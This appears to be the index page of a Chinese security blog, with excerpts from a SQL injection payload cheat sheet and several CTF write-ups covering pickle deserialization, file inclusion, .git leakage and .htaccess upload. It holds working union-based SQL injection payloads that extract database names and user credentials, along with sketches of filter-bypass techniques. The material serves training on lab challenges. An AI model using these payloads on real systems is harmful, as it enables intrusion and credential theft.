0%

SQL injection

对SQL注入的一些常见payload和不同类型注入的总结

基础无过滤注入

union联合注入

这种注入需要有回显位,使用联合注入union select,主要注入参数需为一个错误指,才能显示联合查询后面的内容,使用order by语句或者直接尝试来探取行数进行回显。
使用group_concat聚合函数将查询结果一次性输出,提高效率。
以sqli-lab的less1为例,payload为:
数据库名:
?id=-1' union select 1,2,database() --+
获取全部数据库名
id=-1 union select schema_name from information_schema.schemata --+
表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
数据:
id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+
此处group_concat函数中间的参数为一个字符,将username和password分割开来,便于观察

阅读全文 »

[XCTF 抗疫赛] webtmp

python的反序列化漏洞,看opcode手搓pickle来完成,萌新头一次在真正的比赛上打出了输出呜呜呜

源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

函数不多,类定义的都是一些方便使用的魔法方法,强化了pickle反序列化的限制,重写find_class函数,只允许使用main里面的方法,然后也很明显的给了一个read函数,看一眼就知道是利用这个函数读文件读flag。
pickle反序列化时的命令执行都是调用find_class函数返回一个可执行对象,而find_class的本质其实是getattr(module, name),这里重写了find_class把可调用的对象限制在了main中
而通常使用pickle执行命令使用的opcode R被过滤了,但是既然思路是这个样子,就肯定有别的方法去执行命令,然后就去看opcode,看opcode的详细说明,发现创建一个类实例的opcode同样是调用find_class方法实现的,也就意味着创建类实例的opcode同样可以执行命令。

阅读全文 »

[HBCTF]大美西安

本来看这个河北CTF的名字还以为是个水题,但是还是有难度的,学到了一点新知识

思路

获取源码

点开是一个登录界面,看源码可以发现register.php的注释,成功注册登录而url上又有file=home的内容,估摸着是文件包含,伪协议直接读一波,发现回显禁止,这样子基本就确定了是文件包含的思路,但是源码怎么获得呢

阅读全文 »

[BJDCTF2020]部分wp

buu平台上的一些bjdctf的题,记录一下

Mark loves cat

被戏耍了,完全是一个动脑题,输在愚钝上

.git源码泄露

阅读全文 »

[XNUCA 2019] ezphp

去年XNUCA的一个题,因为一个点死扣了两天,docker配置Apache配置全都重新研究了一般,开端口防火墙全都整了一遍呜呜呜

源码

<?php
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
    highlight_file(__FILE__);
    die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
    echo "Hacker";
    die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
    echo "Hacker";
    die();
}
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($filename, $content . "\nJust one chance");
?>

大致意思就是访问开始和结束都把index.php以外的文件都删了,然后让你写一个文件,filename只能是字母和.,content过滤了一些奇奇怪怪的内容
而由于filename限制在了.a-z中,所以用伪协议编码绕过内容过滤是不可能了
但是这些过滤和我上传一个马有什么关系呢?,所以直接传一个shell上去,不能解析,gg
说实话第一次遇到不能解析除了index.php以外的php文件的情况,人都傻了,后来去看了他们的docker,发现在Apache配置里写了只解析index.php
后来才知道应该是传.htaccess,这就是为什么上面有那一堆奇奇怪怪的过滤,然后最后又给你加了一句无意义字符。.htaccess中如果有不符合语法的内容会直接导致当前目录爆炸500
因为服务器刚好是Apache,只有在Apache中才能用.htaccess重写,当然也要在配置里面设置允许重写

阅读全文 »